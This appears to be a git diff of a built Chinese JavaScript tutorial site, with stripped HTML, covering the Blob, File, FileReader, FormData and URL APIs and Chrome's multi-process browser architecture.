                console.log(blob2);
                // Blob { size: 2, type: "" }
                console.log(blob3);
                // Blob { size: 44, type: "" }
                console.log(blob4);
                // Blob { size: 14, type: "" }
                console.log(blob5);
                // Blob { size: 15, type: "" }
                console.log(blob6);
                // Blob { size: 59, type: "" }

                实际上,当使用普通对象创建 Blob 对象时,相当于调用了普通对象的 toString 方法得到字符串数据,然后再创建 Blob 对象。

                所以 blob5 保存的数据是 "[object Object]",是 15 个字节(不包含最外层的引号)。

                Blob URL

                Blob URL 是 Blob 协议的 URL,格式如下:

                blob:http://xxx

                Blobl Url:
                Blob Url

                Blob URL 可以通过 URL.createObjectURL(blob) 创建,在绝大部分场景下,我们可以像使用 HTTP 协议的 URL 一样,使用 Blob URL

                和冗长的 Base64 格式的 Data URL 相比,Blob URL 的长度显然不能够存储足够的信息,这也就意味着它只是类似于一个浏览器内部的 引用

                从这个角度来看,Blob URL 是 浏览器自行制定的伪协议

                常见的应用场景:


                参考资料:

                - + diff --git a/browser-object-model/binary-data-and-files/data-transfer/index.html b/browser-object-model/binary-data-and-files/data-transfer/index.html index b0bfa4520..dd2a3f8a9 100644 --- a/browser-object-model/binary-data-and-files/data-transfer/index.html +++ b/browser-object-model/binary-data-and-files/data-transfer/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + DataTransfer API - JavaScript Guidebook -

                DataTransfer API

                通过构造函数 DataTransfer 创建一个新的 DataTransfer 对象。注意,单独创建该对象没有意义,且 Internet Explorer 中 DataTransfer 不是一个构造函数。

                基础用法

                const dataTrans = new DataTransfer();
                +

                DataTransfer API

                通过构造函数 DataTransfer 创建一个新的 DataTransfer 对象。注意,单独创建该对象没有意义,且 Internet Explorer 中 DataTransfer 不是一个构造函数。

                基础用法

                const dataTrans = new DataTransfer();
                - + diff --git a/browser-object-model/binary-data-and-files/file-list/index.html b/browser-object-model/binary-data-and-files/file-list/index.html index ecf4837d3..65beab65a 100644 --- a/browser-object-model/binary-data-and-files/file-list/index.html +++ b/browser-object-model/binary-data-and-files/file-list/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -37,12 +40,12 @@
                <script type="text/javascript">
                const fileRef = document.querySelector('#files');
                // FileList 对象(类似于 NodeList 对象)
                const files = fileRef.files;
                let file;
                // 遍历所有文件
                for (let i = 0; i < files.length; i++) {
                // 获取单个文件
                file = files.item(i);
                // 或者
                file = files[i];
                -
                // 输出当前遍历的 File 对象的文件名
                console.log(file.name);
                }
                </script>
                +
                // 输出当前遍历的 File 对象的文件名
                console.log(file.name);
                }
                </script>
                - + diff --git a/browser-object-model/binary-data-and-files/file-reader-sync/index.html b/browser-object-model/binary-data-and-files/file-reader-sync/index.html index 3426899dc..5ded03067 100644 --- a/browser-object-model/binary-data-and-files/file-reader-sync/index.html +++ b/browser-object-model/binary-data-and-files/file-reader-sync/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + FileReaderSync API - JavaScript Guidebook -

                  FileReaderSync API

                  FileReaderSync 接口允许以 同步 的方式读取 FileBlob 对象中的内容。

                  该接口只在 Workers 里可用,因为在主线程里进行同步 I/O 操作可能会阻塞用户界面。

                  +

                    FileReaderSync API

                    FileReaderSync 接口允许以 同步 的方式读取 FileBlob 对象中的内容。

                    该接口只在 Workers 里可用,因为在主线程里进行同步 I/O 操作可能会阻塞用户界面。

                    - + diff --git a/browser-object-model/binary-data-and-files/file-reader/index.html b/browser-object-model/binary-data-and-files/file-reader/index.html index cdbb849c6..66f5577ab 100644 --- a/browser-object-model/binary-data-and-files/file-reader/index.html +++ b/browser-object-model/binary-data-and-files/file-reader/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                    FileReader API

                    FileReader 对象允许 Web 应用程序 异步读取 存储在用户计算机上的文件(或原始数据缓冲区)的内容。

                    FileReader API 接口提供了一个异步 API,使用该 API 可以在浏览器主线程中异步访问文件系统,读取文件中的数据。

                    其中 File 对象可以是:

                    • 来自用户在一个 <input> 元素上选择文件后返回的 FileList 对象
                    • 也可以来自拖放操作生成的 DataTransfer 对象
                    • 还可以是来自一个 HTMLCanvasElement 上执行 mozGetAsFile() 方法后返回结果

                    基本用法

                    通过 new 操作符构造 FileReader 对象。

                    const fileReader = new FileReader();

                    属性和方法

                    属性

                    以下属性均为只读属性,不可更改。

                    属性说明
                    FileReader.errorDOMException 类型,表示在读取文件时发生的错误
                    FileReader.readyState表示 FileReader 状态码EMPTY=0 还没有加载任何数据;LOADING=1 数据正在被加载;DONE=2 已完成全部的读取请求)
                    FileReader.result文件的内容,该属性仅在 读取操作完成后 才有效,数据的格式取决于使用哪个方法来启动读取操作。

                    事件处理

                    对 FileReader 对象调用其中某一种读取方法后,可使用以下事件处理方式跟踪其读取进度。

                    事件说明
                    FileReader.onprogress处理 progress 事件,该事件在 读取 Blob 时触发。
                    FileReader.onloadstart处理 loadstart 事件,该事件在读取操作 开始 时触发。
                    FileReader.onabort处理 abort 事件,该事件在读取操作 被中断 时触发。
                    FileReader.onload处理 load 事件,该事件在读取操作 完成 时触发。
                    FileReader.onloadend处理 loadend 事件,该事件在读取操作 结束(要么成功,要么失败)时触发。
                    FileReader.onerror处理 error 事件,该事件在读取操作 发生错误 时触发。

                    ✅ 因为 FileReader 继承自 EventTarget,所以所有这些事件也可以通过 addEventListener 方法使用。

                    方法

                    这些方法都是异步读取文件的。无论读取成功或失败,方法并不会返回读取结果,这一结果存储在 result 属性中。

                    方法说明
                    FileReader.abort()中止读取操作,在返回时,readyState 属性为 DONE
                    FileReader.readAsText(file [, encoding])开始读取指定的 Blob 中的内容,一旦完成,result 属性中将包含一个字符串以表示所读取文件的内容
                    FileReader.readAsDataURL(file)开始读取指定的 Blob 中的内容,一旦完成,result 属性中将包含一个 data:URL 格式的字符串以表示所读取文件的内容
                    FileReader.readAsArrayBuffer()开始读取指定的 Blob 中的内容,一旦完成,result 属性中保存的将是被读取文件的 ArrayBuffer 数据对象
                    FileReader.readAsBinaryString(file)开始读取指定 Blob 中的内容,一旦完成,result 属性中将包含所读取文件的 原始二进制数据

                    应用示例

                    const reader = new FileReader();
                    reader.addEventListener('loadend', function() {
                    // reader.result 包含了 TypedArray 格式的 Blob 内容
                    });
                    reader.readAsArrayBuffer(blob);
                    -
                    blob = new Blob(['This is my blob content.'], { type: 'text/plain' });
                    // 读取为文本
                    reader.readAsText(blob);

                    参考资料:

                    +
                    blob = new Blob(['This is my blob content.'], { type: 'text/plain' });
                    // 读取为文本
                    reader.readAsText(blob);

                    参考资料:

                    - + diff --git a/browser-object-model/binary-data-and-files/file/index.html b/browser-object-model/binary-data-and-files/file/index.html index ba1d164d3..6787848a3 100644 --- a/browser-object-model/binary-data-and-files/file/index.html +++ b/browser-object-model/binary-data-and-files/file/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + File API - JavaScript Guidebook -

                    File API

                    File 对象接口提供有关文件的信息,并允许网页中的 JavaScript 访问起内容。

                    通常情况下,File 对象是来自:

                    • 用户在一个 <input type="file"> 元素上选择文件后返回的 FileList 对象
                    • 拖拽中生成的 DataTransfer 对象
                    • HTMLCanvasElement 上的 mozGetAsFile() API

                    在 Gecko 中,特权代码可以创建代表任何本地文件的 File 对象,而无需用户交互。

                    File 对象是特殊类型的 Blob 对象,且可以用在任意的 Blob 类型的 context 中。比如说,FileReaderURL.createObjectURL()createImageBitmap()XMLHttpRequest.send() 都能处理 Blob 和 File。

                    基本用法

                    通过 new 操作符构建文件对象 File。

                    const file = new File();

                    属性和方法

                    File 对象也继承了 Blob 对象的属性。以下属性均为 只读 属性,不可修改。

                    属性说明
                    File.lastModified当前引用文件 最后的修改时间,为自 1970 年 1 月 1 日 0 时 0 分以来的毫秒数
                    File.lastModifiedDate 🗑当前引用文件 最后的修改时间,为 Date 对象
                    File.name当前引用文件的 名称
                    File.size当前引用文件的 大小
                    File.webkitRelativePath ⚠️当前引用文件的 路径或 URL
                    File.type当前引用文件的多用途互联网邮件 扩展类型

                    File 对象接口没有定义任何方法,但是继承了 Blob 对象接口的方法。

                    注意事项

                    • 下面的非标准的属性及方法在 Gecko 7(Firefox 7.0 / Thunderbird 7.0 / SeaMonkey 2.4))里就被移除:
                      • File.fileName
                      • File.fileSize
                      • File.getAsBinary()
                      • File.getAsDataURL()
                      • File.getAsText

                    应该使用 File.nameBlob.size,和 FileReader 的方法来代替。

                    实践应用

                    文件上传

                    视频文件

                    获取视频文件时长

                    interface File {}
                    const file = {
                    lastModified: 1612420035903,
                    lastModifiedDate: Thu Feb 04 2021 14:27:15 GMT+0800 (China Standard Time) {},
                    name: "10min.mp4",
                    size: 191763419,
                    type: "video/mp4",
                    webkitRelativePath: "",
                    }

                    参考资料

                    +

                    File API

                    File 对象接口提供有关文件的信息,并允许网页中的 JavaScript 访问起内容。

                    通常情况下,File 对象是来自:

                    • 用户在一个 <input type="file"> 元素上选择文件后返回的 FileList 对象
                    • 拖拽中生成的 DataTransfer 对象
                    • HTMLCanvasElement 上的 mozGetAsFile() API

                    在 Gecko 中,特权代码可以创建代表任何本地文件的 File 对象,而无需用户交互。

                    File 对象是特殊类型的 Blob 对象,且可以用在任意的 Blob 类型的 context 中。比如说,FileReaderURL.createObjectURL()createImageBitmap()XMLHttpRequest.send() 都能处理 Blob 和 File。

                    基本用法

                    通过 new 操作符构建文件对象 File。

                    const file = new File();

                    属性和方法

                    File 对象也继承了 Blob 对象的属性。以下属性均为 只读 属性,不可修改。

                    属性说明
                    File.lastModified当前引用文件 最后的修改时间,为自 1970 年 1 月 1 日 0 时 0 分以来的毫秒数
                    File.lastModifiedDate 🗑当前引用文件 最后的修改时间,为 Date 对象
                    File.name当前引用文件的 名称
                    File.size当前引用文件的 大小
                    File.webkitRelativePath ⚠️当前引用文件的 路径或 URL
                    File.type当前引用文件的多用途互联网邮件 扩展类型

                    File 对象接口没有定义任何方法,但是继承了 Blob 对象接口的方法。

                    注意事项

                    • 下面的非标准的属性及方法在 Gecko 7(Firefox 7.0 / Thunderbird 7.0 / SeaMonkey 2.4))里就被移除:
                      • File.fileName
                      • File.fileSize
                      • File.getAsBinary()
                      • File.getAsDataURL()
                      • File.getAsText

                    应该使用 File.nameBlob.size,和 FileReader 的方法来代替。

                    实践应用

                    文件上传

                    视频文件

                    获取视频文件时长

                    interface File {}
                    const file = {
                    lastModified: 1612420035903,
                    lastModifiedDate: Thu Feb 04 2021 14:27:15 GMT+0800 (China Standard Time) {},
                    name: "10min.mp4",
                    size: 191763419,
                    type: "video/mp4",
                    webkitRelativePath: "",
                    }

                    参考资料

                    - + diff --git a/browser-object-model/binary-data-and-files/form-data/index.html b/browser-object-model/binary-data-and-files/form-data/index.html index b6f000e71..c412cce52 100644 --- a/browser-object-model/binary-data-and-files/form-data/index.html +++ b/browser-object-model/binary-data-and-files/form-data/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + FormData API - JavaScript Guidebook -

                    FormData API

                    FormData API 接口提供了一种表示表单数据的键值对,并且将数据通过 XMLHttpRequest.send 方法发送出去。

                    基本用法

                    const formData = new FormData(form ? :HTMLFormElement);

                    参数

                    参数说明
                    form(可选)一个 HTML 表单元素,可以包含任何形式的表单控件,包括文件输入框

                    方法

                    属性说明
                    FormData.append()为 FormData 添加新的属性值
                    FormData.set()设置 FormData 中属性值
                    FormData.has()判断 FormData 中是否包含某个键
                    FormData.get()获取 FormData 中指定键关联的值
                    FormData.getAll(name)获取 FormData 中指定键关联的所有值的数组
                    FormData.delete()删除 FormData 中指定的键值对
                    FormData.entries()获取 FormData 中所有键值对
                    FormData.keys()获取 FormData 中键名组成难过的数组
                    FormData.values()获取 FormData 中键值组成的数组

                    应用示例

                    使用已有的表单来初始化一个对象实例。假如现在页面已经有一个表单。

                    <form id="file" action="" method="post">
                    <input type="text" name="name" />名字 <input type="password" name="psw" />密码
                    <input type="submit" value="提交" />
                    </form>

                    我们可以使用这个表单元素作为初始化参数,来实例化一个 FormData 对象。

                    // 获取页面已有的一个 form 表单
                    const form = document.getElementById('file');
                    // 用表单来初始化
                    const formData = new FormData(form);
                    // 我们可以根据 name 来访问表单中的字段
                    // 获取名字
                    const name = formData.get('name');
                    // 获取密码
                    const psw = formData.get('psw');
                    // 当然也可以在此基础上,添加其他数据
                    formData.append('token', 'kshdfiwi3rh');
                    +

                    FormData API

                    FormData API 接口提供了一种表示表单数据的键值对,并且将数据通过 XMLHttpRequest.send 方法发送出去。

                    基本用法

                    const formData = new FormData(form ? :HTMLFormElement);

                    参数

                    参数说明
                    form(可选)一个 HTML 表单元素,可以包含任何形式的表单控件,包括文件输入框

                    方法

                    属性说明
                    FormData.append()为 FormData 添加新的属性值
                    FormData.set()设置 FormData 中属性值
                    FormData.has()判断 FormData 中是否包含某个键
                    FormData.get()获取 FormData 中指定键关联的值
                    FormData.getAll(name)获取 FormData 中指定键关联的所有值的数组
                    FormData.delete()删除 FormData 中指定的键值对
                    FormData.entries()获取 FormData 中所有键值对
                    FormData.keys()获取 FormData 中键名组成难过的数组
                    FormData.values()获取 FormData 中键值组成的数组

                    应用示例

                    使用已有的表单来初始化一个对象实例。假如现在页面已经有一个表单。

                    <form id="file" action="" method="post">
                    <input type="text" name="name" />名字 <input type="password" name="psw" />密码
                    <input type="submit" value="提交" />
                    </form>

                    我们可以使用这个表单元素作为初始化参数,来实例化一个 FormData 对象。

                    // 获取页面已有的一个 form 表单
                    const form = document.getElementById('file');
                    // 用表单来初始化
                    const formData = new FormData(form);
                    // 我们可以根据 name 来访问表单中的字段
                    // 获取名字
                    const name = formData.get('name');
                    // 获取密码
                    const psw = formData.get('psw');
                    // 当然也可以在此基础上,添加其他数据
                    formData.append('token', 'kshdfiwi3rh');
                    - + diff --git a/browser-object-model/binary-data-and-files/index.html b/browser-object-model/binary-data-and-files/index.html index c011d82e9..d0161f20e 100644 --- a/browser-object-model/binary-data-and-files/index.html +++ b/browser-object-model/binary-data-and-files/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/browser-object-model/binary-data-and-files/url/index.html b/browser-object-model/binary-data-and-files/url/index.html index 1a275e343..9ade129e3 100644 --- a/browser-object-model/binary-data-and-files/url/index.html +++ b/browser-object-model/binary-data-and-files/url/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                    URL API

                    ⚠️ 这是一个实验中的功能,此功能某些浏览器尚在开发中,请参考浏览器兼容性表格以得到在不同浏览器中适合使用的前缀。由于该功能对应的标准文档可能被重新修订,所以在未来版本的浏览器中该功能的语法和行为可能随之改变。

                    URL 接口是一个包含若干静态方法的对象,用来创建 URLs。

                    当使用一个没有实现该构造器的用户代理时,可以通过 Window.URL 属性来访问该对象(基于 Webkit 和 Blink 内核的浏览器均可用 Window.webkitURL 代替)。

                    基本用法

                    const url = new URL();

                    属性

                    实现 URLUtils 中定义的属性。

                    属性说明
                    URLUtils.href包含完整 URL 的 DOMString。
                    URLUtils.protocol包含 URL 协议名的 DOMString。
                    URLUtils.host包含 URL 域名,: 和端口号的 DOMString。
                    URLUtils.hostname包含 URL 域名的 DOMString。
                    URLUtils.port包含 URL 端口号的 DOMString。
                    URLUtils.pathname/ 起头紧跟着 URL 文件路径的 DOMString。
                    URLUtils.search? 起头紧跟着 URL 请求参数的 DOMString。
                    URLUtils.hash# 起头紧跟着 URL 锚点标记的 DOMString。
                    URLUtils.username包含在域名前面指定的用户名 DOMString。
                    URLUtils.password包含在域名前面指定的密码的 DOMString。
                    URLUtils.origin返回一个包含协议名、域名和端口号的 DOMString。
                    URLUtils.searchParams返回一个用来访问当前 URL GET 请求参数的 URLSearchParams 对象。

                    方法

                    URL 接口实现的在 URLUtils 中定义的方法。

                    属性说明
                    URLUtils.toString()返回一个包含完整 URL 的 DOMString。它是 URLUtils.href 的别名,但区别在于 toString 不能用于修改值。

                    静态方法

                    属性说明
                    URL.createObjectURL()返回一个 DOMString,包含一个唯一的 Blob URL(该 URL 协议)。
                    URL.revokeObjectURL()销毁之前使用 URL.createObjectURL() 创建的 URL 实例。
                    const blobUrl = 'blob://'
                    -
                    const URL
                    +
                    const URL
                    - + diff --git a/browser-object-model/browser-working-principle/browser-architecture/index.html b/browser-object-model/browser-working-principle/browser-architecture/index.html index 82fac35b8..ba29ae752 100644 --- a/browser-object-model/browser-working-principle/browser-architecture/index.html +++ b/browser-object-model/browser-working-principle/browser-architecture/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 浏览器架构 - JavaScript Guidebook -

                    浏览器架构

                    计算机核心元素

                    为了了解浏览器运行的环境,我们需要了解几个计算机部件以及它们的作用。

                    CPU

                    CPU(Central Processing Unit)

                    第一个需要了解的计算机部件是 中央处理器(Central Processing Unit),或简称为 CPU。CPU 可以看作是计算机的大脑。一个 CPU 核心如图中的办公人员,可以逐一解决很多不同任务。它可以在解决从数学到艺术一切任务的同时还知道如何响应客户要求。过去 CPU 大多是单芯片的,一个核心就像存在于同芯片的另一个 CPU。随着现代硬件发展,你经常会有不止一个内核,为你的手机和笔记本电脑提供更多的计算能力。

                    GPU

                    GPU(Graphics Processingg Unit)

                    图形处理器Graphics Processing Unit,简称为 GPU)是计算机的另一部件。与 CPU 不同,GPU 擅长同时处理跨内核的简单任务。顾名思义,它最初是为解决图形而开发的。这就是为什么在图形环境中 使用 GPUGPU 支持 都与快速渲染和顺滑交互有关。近年来随着 GPU 加速计算的普及,仅靠 GPU 一己之力也使得越来越多的计算成为可能。

                    当你在电脑或手机上启动应用时,是 CPU 和 GPU 为应用供能。通常情况下应用是通过操作系统提供的机制在 CPU 和 GPU 上运行。


                    GPU(Graphics Processingg Unit)

                    进程与线程

                    在深入学习浏览器架构之前需要了解的另一对理论是 进程与线程

                    • 进程(Process) 是程序的一次执行过程,是一个动态概念,是程序在执行过程中分配和管理资源的基本单位,可以被描述为是一个应用的执行程序
                    • 线程(Thread) 是 CPU 调度和分派的基本单位,它可与同属一个进程的其他的线程共享进程所拥有的全部资源,存在于进程并执行程序任意部分
                    GPU(Graphics Processingg Unit)

                    简单地说,进程可以理解成正在执行的应用程序,而线程可以理解为成我们应用程序中的代码的执行器。而他们的关系可想而知,线程是跑在进程里面的,一个进程里面可能有一个或者多个线程,而一个线程,只能隶属于一个进程。

                    大家都知道,浏览器属于一个应用程序,而应用程序的一次执行,可以理解为计算机启动了一个进程,进程启动后,CPU 会给该进程分配相应的内存空间,当我们的进程得到了内存之后,就可以使用线程进行资源调度,进而完成我们应用程序的功能。

                    启动应用时会创建一个进程。程序也许会创建一个或多个线程来帮助它工作,这是可选的。操作系统为进程提供了一个可以使用的 一块 内存,所有应用程序状态都保存在该私有内存空间中。关闭应用程序时,相应的进程也会消失,操作系统会释放内存。

                    多个标签页各自的渲染进程

                    在应用程序中,为了满足功能的需要,启动的进程会创建另外的新的进程来处理其他任务,这些创建出来的新的进程拥有全新的独立的内存空间,不能与原来的进程内向内存,如果这些进程之间需要通信,可以通过 IPC 机制(Inter Process Communication) 来进行。许多应用都是这样设计的,所以如果一个工作进程失去响应,该进程就可以在不停止应用程序不同部分的其他进程运行的情况下重新启动。

                    工作进程与 IPC

                    浏览器架构

                    那么如何通过进程和线程构建 Web 浏览器呢?

                    它可能由一个拥有很多线程的进程,或是一些通过 IPC 通信的不同线程的进程。

                    不同浏览器架构的进程/线程示意图

                    这里需要注意的重要一点是,这些不同的架构是实现细节。关于如何构建 Web 浏览器并不存在标准规范。每个浏览器的构建方法可能都迥然不同。

                    在本系列中,我们使用下图所示的 Chrome 近期架构进行阐述。

                    顶部是浏览器进程,它与处理应用其它模块任务的进程进行协调。对于渲染进程来说,创建了多个渲染进程并分配给了每个标签页。直到最近,Chrome 在可能的情况下给每个标签页分配一个进程。而现在它试图给每个站点分配一个进程,包括 iframe(参见站点隔离)。

                    Chrome的多进程架构示意图

                    浏览器的多进程架构

                    假如我们去开发一个浏览器,它的架构可以是一个单进程多线程的应用程序,也可以是一个使用 IPC 通信的多进程应用程序。

                    不同的浏览器使用不同的架构,下面主要以 Chrome 为例,介绍浏览器的多进程架构。

                    在 Chrome 中,主要的进程有 4 个:

                    • 浏览器进程 (Browser Process):负责浏览器的 Tab 的前进、后退、地址栏、书签栏的工作和处理浏览器的一些不可见的底层操作,比如网络请求和文件访问。
                    • 渲染进程 (Renderer Process):负责一个 Tab 内的显示相关的工作,也称渲染引擎。
                    • 插件进程 (Plugin Process):负责控制网页使用到的插件
                    • GPU 进程 (GPU Process):负责处理整个应用程序的 GPU 任务

                    不同进程指向浏览器 UI 的不同部分

                    多进程架构的优点

                    前文中提到了 Chrome 使用多个渲染进程。最简单的情况下,你可以想象每个标签页都有自己的渲染进程。假设你打开了三个标签页,每个标签页都拥有自己独立的渲染进程。如果某个标签页失去响应,你可以关掉这个标签页,此时其它标签页依然运行着,可以正常使用。如果所有标签页都运行在同一进程上,那么当某个失去响应,所有标签页都会失去响应。这样的体验很糟糕。

                    如图所示每个标签页上运行的渲染进程

                    把浏览器工作分成多个进程的另一好处是 安全性沙箱化。由于操作系统提供了限制进程权限的方法,浏览器就可以用沙箱保护某些特定功能的进程。例如,Chrome 浏览器限制处理任意用户输入的进程(如渲染器进程)对任意文件的访问。

                    由于进程有自己的私有内存空间,所以它们通常包含公共基础设施的拷贝(如 V8,它是 Chrome 的 JavaScript 引擎)。这意味着使用了更多的内存,如果它们是同一进程中的线程,就无法共享这些拷贝。为了节省内存,Chrome 对可加速的内存数量进行了限制。具体限制数值依设备可提供的内存与 CPU 能力而定,但是当 Chrome 运行时达到限制时,会开始在同一站点的不同标签页上运行同一进程。

                    服务化

                    同样的方法也适用于浏览器进程。Chrome 正在经历架构变革,它转变为将浏览器程序的每一模块作为一个服务来运行,从而可以轻松实现进程的拆解或聚合。

                    通常观点是当 Chrome 运行在强力硬件上时,它会将每个服务分解到不同进程中,从而提升稳定性,但是如果 Chrome 运行在资源有限的设备上时,它会将服务聚合到一个进程中从而节省了内存占用。在这一架构变革实现前,类似的整合进程以减少内存使用的方法已经在 Android 类平台上使用。

                    工作进程与 IPC

                    站点隔离

                    站点隔离 是近期引入到 Chrome 中的一个功能,它为每个 iframe 运行一个单独的渲染进程。我们已经讨论了许久每个标签页的渲染进程,它允许跨站点 iframe 运行在一个单独的渲染进程,在不同站点中共享内存。运行 a.comb.com 在同一渲染进程中看起来还 OK。

                    同源策略 是 web 的核心安全模型。同源策略确保站点在未得到其它站点许可的情况下不能获取其数据。安全攻击的一个主要目标就是绕过同源策略。进程隔离是分离站点的最高效的手段。随着 Meltdown and Spectre 的出现,使用进程来分离站点愈发势在必行。Chrome 67 版本后,桌面版 Chrome 都默认开启了站点隔离,每个标签页的 iframe 都有一个单独的渲染进程。

                    站点隔离示意图

                    启用站点隔离是多年来工程人员努力的结果。站点隔离并不只是分配不同的渲染进程这么简单。它从根本上改变了 iframe 的通信方式。在一个页面上打开开发者工具,让 iframe 在不同的进程上运行,这意味着开发者工具必须在幕后工作,以使它看起来无缝。即使运行一个简单的 Ctrl + F 来查找页面中的一个单词,也意味着在不同的渲染器进程中进行搜索。

                    参考资料

                    +

                    浏览器架构

                    计算机核心元素

                    为了了解浏览器运行的环境,我们需要了解几个计算机部件以及它们的作用。

                    CPU

                    CPU(Central Processing Unit)

                    第一个需要了解的计算机部件是 中央处理器(Central Processing Unit),或简称为 CPU。CPU 可以看作是计算机的大脑。一个 CPU 核心如图中的办公人员,可以逐一解决很多不同任务。它可以在解决从数学到艺术一切任务的同时还知道如何响应客户要求。过去 CPU 大多是单芯片的,一个核心就像存在于同芯片的另一个 CPU。随着现代硬件发展,你经常会有不止一个内核,为你的手机和笔记本电脑提供更多的计算能力。

                    GPU

                    GPU(Graphics Processingg Unit)

                    图形处理器Graphics Processing Unit,简称为 GPU)是计算机的另一部件。与 CPU 不同,GPU 擅长同时处理跨内核的简单任务。顾名思义,它最初是为解决图形而开发的。这就是为什么在图形环境中 使用 GPUGPU 支持 都与快速渲染和顺滑交互有关。近年来随着 GPU 加速计算的普及,仅靠 GPU 一己之力也使得越来越多的计算成为可能。

                    当你在电脑或手机上启动应用时,是 CPU 和 GPU 为应用供能。通常情况下应用是通过操作系统提供的机制在 CPU 和 GPU 上运行。


                    GPU(Graphics Processingg Unit)

                    进程与线程

                    在深入学习浏览器架构之前需要了解的另一对理论是 进程与线程

                    • 进程(Process) 是程序的一次执行过程,是一个动态概念,是程序在执行过程中分配和管理资源的基本单位,可以被描述为是一个应用的执行程序
                    • 线程(Thread) 是 CPU 调度和分派的基本单位,它可与同属一个进程的其他的线程共享进程所拥有的全部资源,存在于进程并执行程序任意部分
                    GPU(Graphics Processingg Unit)

                    简单地说,进程可以理解成正在执行的应用程序,而线程可以理解为成我们应用程序中的代码的执行器。而他们的关系可想而知,线程是跑在进程里面的,一个进程里面可能有一个或者多个线程,而一个线程,只能隶属于一个进程。

                    大家都知道,浏览器属于一个应用程序,而应用程序的一次执行,可以理解为计算机启动了一个进程,进程启动后,CPU 会给该进程分配相应的内存空间,当我们的进程得到了内存之后,就可以使用线程进行资源调度,进而完成我们应用程序的功能。

                    启动应用时会创建一个进程。程序也许会创建一个或多个线程来帮助它工作,这是可选的。操作系统为进程提供了一个可以使用的 一块 内存,所有应用程序状态都保存在该私有内存空间中。关闭应用程序时,相应的进程也会消失,操作系统会释放内存。

                    多个标签页各自的渲染进程

                    在应用程序中,为了满足功能的需要,启动的进程会创建另外的新的进程来处理其他任务,这些创建出来的新的进程拥有全新的独立的内存空间,不能与原来的进程内向内存,如果这些进程之间需要通信,可以通过 IPC 机制(Inter Process Communication) 来进行。许多应用都是这样设计的,所以如果一个工作进程失去响应,该进程就可以在不停止应用程序不同部分的其他进程运行的情况下重新启动。

                    工作进程与 IPC

                    浏览器架构

                    那么如何通过进程和线程构建 Web 浏览器呢?

                    它可能由一个拥有很多线程的进程,或是一些通过 IPC 通信的不同线程的进程。

                    不同浏览器架构的进程/线程示意图

                    这里需要注意的重要一点是,这些不同的架构是实现细节。关于如何构建 Web 浏览器并不存在标准规范。每个浏览器的构建方法可能都迥然不同。

                    在本系列中,我们使用下图所示的 Chrome 近期架构进行阐述。

                    顶部是浏览器进程,它与处理应用其它模块任务的进程进行协调。对于渲染进程来说,创建了多个渲染进程并分配给了每个标签页。直到最近,Chrome 在可能的情况下给每个标签页分配一个进程。而现在它试图给每个站点分配一个进程,包括 iframe(参见站点隔离)。

                    Chrome的多进程架构示意图

                    浏览器的多进程架构

                    假如我们去开发一个浏览器,它的架构可以是一个单进程多线程的应用程序,也可以是一个使用 IPC 通信的多进程应用程序。

                    不同的浏览器使用不同的架构,下面主要以 Chrome 为例,介绍浏览器的多进程架构。

                    在 Chrome 中,主要的进程有 4 个:

                    • 浏览器进程 (Browser Process):负责浏览器的 Tab 的前进、后退、地址栏、书签栏的工作和处理浏览器的一些不可见的底层操作,比如网络请求和文件访问。
                    • 渲染进程 (Renderer Process):负责一个 Tab 内的显示相关的工作,也称渲染引擎。
                    • 插件进程 (Plugin Process):负责控制网页使用到的插件
                    • GPU 进程 (GPU Process):负责处理整个应用程序的 GPU 任务

                    不同进程指向浏览器 UI 的不同部分

                    多进程架构的优点

                    前文中提到了 Chrome 使用多个渲染进程。最简单的情况下,你可以想象每个标签页都有自己的渲染进程。假设你打开了三个标签页,每个标签页都拥有自己独立的渲染进程。如果某个标签页失去响应,你可以关掉这个标签页,此时其它标签页依然运行着,可以正常使用。如果所有标签页都运行在同一进程上,那么当某个失去响应,所有标签页都会失去响应。这样的体验很糟糕。

                    如图所示每个标签页上运行的渲染进程

                    把浏览器工作分成多个进程的另一好处是 安全性沙箱化。由于操作系统提供了限制进程权限的方法,浏览器就可以用沙箱保护某些特定功能的进程。例如,Chrome 浏览器限制处理任意用户输入的进程(如渲染器进程)对任意文件的访问。

                    由于进程有自己的私有内存空间,所以它们通常包含公共基础设施的拷贝(如 V8,它是 Chrome 的 JavaScript 引擎)。这意味着使用了更多的内存,如果它们是同一进程中的线程,就无法共享这些拷贝。为了节省内存,Chrome 对可加速的内存数量进行了限制。具体限制数值依设备可提供的内存与 CPU 能力而定,但是当 Chrome 运行时达到限制时,会开始在同一站点的不同标签页上运行同一进程。

                    服务化

                    同样的方法也适用于浏览器进程。Chrome 正在经历架构变革,它转变为将浏览器程序的每一模块作为一个服务来运行,从而可以轻松实现进程的拆解或聚合。

                    通常观点是当 Chrome 运行在强力硬件上时,它会将每个服务分解到不同进程中,从而提升稳定性,但是如果 Chrome 运行在资源有限的设备上时,它会将服务聚合到一个进程中从而节省了内存占用。在这一架构变革实现前,类似的整合进程以减少内存使用的方法已经在 Android 类平台上使用。

                    工作进程与 IPC

                    站点隔离

                    站点隔离 是近期引入到 Chrome 中的一个功能,它为每个 iframe 运行一个单独的渲染进程。我们已经讨论了许久每个标签页的渲染进程,它允许跨站点 iframe 运行在一个单独的渲染进程,在不同站点中共享内存。运行 a.comb.com 在同一渲染进程中看起来还 OK。

